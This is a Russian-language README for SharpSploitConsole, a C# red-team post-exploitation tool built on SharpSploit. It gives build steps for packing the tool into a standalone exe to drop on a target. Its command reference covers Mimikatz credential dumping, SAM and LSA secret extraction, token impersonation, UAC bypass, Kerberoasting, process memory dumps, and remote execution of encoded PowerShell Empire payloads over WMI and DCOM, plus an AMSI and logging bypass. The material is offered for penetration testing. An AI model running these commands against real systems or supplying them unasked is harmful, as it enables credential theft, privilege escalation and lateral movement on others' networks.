
Консольное приложение на C# для пост-эксплуатации и операций красной команды, интегрирующее SharpSploit для выполнения команд Mimikatz, выполнения Kerberoasting, обхода UAC, дампа учетных данных и бокового перемещения через WMI/DCOM.
Консольное приложение, предназначенное для взаимодействия с SharpSploit, выпущенным @cobbr_io > https://github.com/cobbr/SharpSploit
SharpSploit — это инструмент, написанный @cobbr_io, который объединяет множество техник и C# код из сообщества infosec в одну удобную DLL. Он потрясающий, обязательно ознакомьтесь!
SharpSploit Console — это просто быстрый proof-of-concept бинарник, помогающий пентестерам или членам красных команд с меньшим опытом C# поиграться с некоторыми из возможностей SharpSploit. Следуя инструкциям ниже, вы сможете внедрить как SharpSploit.dll, так и System.Management.Automation.dll в бинарник SharpSploitConsole, создав автономный exe-файл, который можно сбросить на подходящую целевую систему и запустить через неинтерактивную оболочку (например, beacon).
Эту концепцию можно применить ко многим C# бинарникам. Например, мы можем встроить System.Management.Automation.dll в наш любимый C# NoPowershell.exe, создав бинарник, который не зависит от System.Management.Automation.dll на целевой системе.
Наконец, я знаю, что существует, вероятно, тысяча способов сделать это лучше, быстрее, круче, незаметнее и т. д. Так что не стесняйтесь сообщить мне… вежливо. :) Я также планирую добавить больше модулей и улучшить существующие.
Контакты:
Прежде чем создавать issue: этот инструмент может обновляться неактивно. Я призываю вас заимствовать, дополнять, модифицировать и/или создавать свои собственные. Помните, что весь замечательный код (а его много) можно взять/модифицировать для создания собственных инструментов.
Примечание: я использовал Windows 10, Visual Studio 2017 — у вас может быть иначе
Загрузите инструмент SharpSploit по адресу https://github.com/cobbr/SharpSploit.git
Откройте SharpSploit.sln в Visual Studio и скомпилируйте (убедитесь, что компилируете для правильной архитектуры) — должен появиться выпадающий список с Any CPU > Нажмите на него и откройте Configuration Manager > В разделе platform измените на нужную архитектуру и нажмите ok.
Загрузите инструмент SharpSploitConsole и откройте SharpSploitConsole.sln
Скопируйте оба файла — SharpSploit.dll и System.Management.Automation.dll, находящиеся в каталоге SharpSploit/bin/x64/Debug, в папку SharpSploitConsole/bin/x64/Debug
Далее настроим Visual Studio для внедрения наших DLL в exe, чтобы получить единый бинарник, который можно запустить на целевой машине. Для этого выполните следующее:
В Visual Studio:
a. Tools > NuGet Package Manager > Package Manager Console
b. В консоли выполните:
Install-Package Costura.Fody
c. Откройте блокнот, вставьте приведенный ниже код и сохраните файл с именем FodyWeavers.xml в каталог SharpSploitConsole, где находятся папки bin, obj, properties.
<?xml version="1.0" encoding="utf-8"?>
<Weavers>
<Costura />
</Weavers>
В Visual Studio щелкните правой кнопкой мыши по References справа, выберите Add Reference, затем перейдите в каталог SharpSploitConsole/bin/x64/Debug, где находятся наши две DLL, выберите их и добавьте.
Скомпилируйте, сбросьте бинарник на целевой компьютер и получайте удовольствие.
Примечание: все команды нечувствительны к регистру.
По умолчанию все команды могут быть переданы как аргументы командной строки, они будут выполнены, и программа завершится (отлично подходит для удаленных оболочек). Это выглядит примерно так: sharpSploitConsole.exe getSystem logonPasswords. Альтернативно, если вы хотите использовать интерактивный режим консоли, используйте команду interact для получения псевдо-интерактивной оболочки.
Запуск интерактивного режима консоли:
Interact
Mimikatz всего (не запускает DCSync) — требуются права администратора или системы:
Mimi-All
Запускает указанную вами конкретную команду Mimikatz — требуются права администратора или системы:
Mimi-Command privilege::debug sekurlsa::logonPasswords
Запускает команду Mimikatz privilege::debug sekurlsa::logonPasswords — требуются права администратора или системы:
logonPasswords
Запускает команду Mimikatz для извлечения хэшей кэшированных учетных данных домена из реестра — требуются права администратора или системы:
LsaCache
Запускает команду Mimikatz для извлечения секретов LSA, хранящихся в реестре — требуются права администратора или системы:
LsaSecrets
Извлекает хэши паролей из базы данных SAM — требуются права администратора или системы:
SamDump
Извлекает учетные данные Wdigest из реестра — требуются права администратора или системы:
Wdigest
Получить текущего пользователя:
whoami
Username
Имперсонализировать системного пользователя — требуются права администратора:
GetSystem
Имперсонализировать системного пользователя — имперсонализация токена указанного процесса, требуется PID — команда требует права администратора:
Impersonate 2918
Обход UAC — требуется бинарник | команда | путь к бинарнику — требуются права администратора:
BypassUAC cmd.exe ipconfig C:\Windows\System32\
BypassUAC cmd.exe "" C:\Windows\System32\
Завершает имперсонализацию любого токена, возвращается к исходному токену, связанному с текущим процессом:
RevertToSelf
Получить текущую рабочую директорию:
CurrentDirectory
Получить список содержимого текущей директории:
DirectoryListing
Изменяет текущую директорию, добавляя указанную строку к текущей рабочей директории:
ChangeDirectory SomeFolder
Получить имя хоста:
Hostname
Получить список запущенных процессов:
ProcessList
Создаёт минидамп памяти запущенного процесса, требуются PID | расположение вывода | имя вывода — требуются права администратора:
ProcDump 2198 C:\Users\Username\Desktop memorydump.dmp
Получить значение пути в реестре, требуется аргумент с полным путём:
ReadRegistry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\BuildNumber
Записать в реестр, требуется аргумент с полным путём и аргумент со значением:
WriteRegistry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\RemoteAccessEnabled 1
Получить пользователей локальной группы удалённо, требуются имя_компьютера | имя_группы | имя_пользователя | пароль:
NetLocalGroupMembers computerName Administrators domain\username P@55w0rd!
NetLocalGroupMembers 192.168.1.20 Administrators .\username P@55w0rd!
Получить локальные группы удалённо, требуются имя_компьютера | имя_пользователя | пароль:
NetLocalGroups computerName domain\username P@55w0rd!
NetLocalGroups 192.168.1.20 .\username P@55w0rd!
Получить список вошедших в систему пользователей удалённо, требуются имя_компьютера | имя_пользователя | пароль:
NetLoggedOnUsers computerName domain\username P@55w0rd!
NetLoggedOnUsers 192.168.1.20 .\username P@55w0rd!
Получить пользовательские сессии удалённо, требуются имя_компьютера | имя_пользователя | пароль:
NetSessions computerName domain\username P@55w0rd!
NetSessions 192.168.1.20 .\username P@55w0rd!
Пинг систем, требуются имена компьютеров:
Ping computer1 computer2 computer3 computer4
Сканирование портов систем, требуются имя_компьютера | порты:
PortScan computer1 80 443 445 22 23
Получить пользователей домена. Извлекает указанные (или все) объекты пользователей в целевом домене. По умолчанию используется контекст текущего пользователя. Необязательные аргументы: -username -password -domain -server -searchbase -searchstring -target:
GetDomainUsers
Получить группы домена. Извлекает указанные (или все) объекты групп в целевом домене. По умолчанию используется контекст текущего пользователя. Необязательные аргументы: -username -password -domain -server -searchbase -searchstring -target:
GetDomainGroups
GetDomainGroups -target "Domain Admins"
Получить компьютеры домена. Извлекает указанные (или все) объекты компьютеров в целевом домене. По умолчанию используется контекст текущего пользователя. Необязательные аргументы: -username -password -domain -server -searchbase -searchstring -target:
GetDomainComputers
Выполнить Kerberoasting. Выполняет атаку kerberoasting против целевых (или всех) объектов пользователей в целевом домене. По умолчанию используется контекст текущего пользователя. Необязательные аргументы: -username -password -domain -server -searchbase -searchstring -target:
Kerberoast
Kerberoast -username bob -password Password1 -domain test.corp -server 192.168.1.10 -target sqlService
Запустить команду удалённо через WMI, требуются имя_компьютера | имя_пользователя | пароль | команда — требуются права администратора:
WMI computer1 domain\username P@55w0rd! <весь пейлоад powershell empire>
WMI computer1 .\username P@55w0rd! powershell -noP -sta -w 1 -enc <Base64>
Запустить команду удалённо через DCOM, требуются имя_компьютера | команда | директория | параметры — требуются права администратора:
DCOM computer1 cmd.exe c:\Windows\System32 powershell -noP -sta -w 1 -enc <Base64>
Запустить команду оболочки:
Shell ipconfig /all
Запустить команду powershell с попыткой обхода AMSI, логирования scriptBlock и логирования модулей:
Powershell -noP -sta -w 1 -enc <Base64>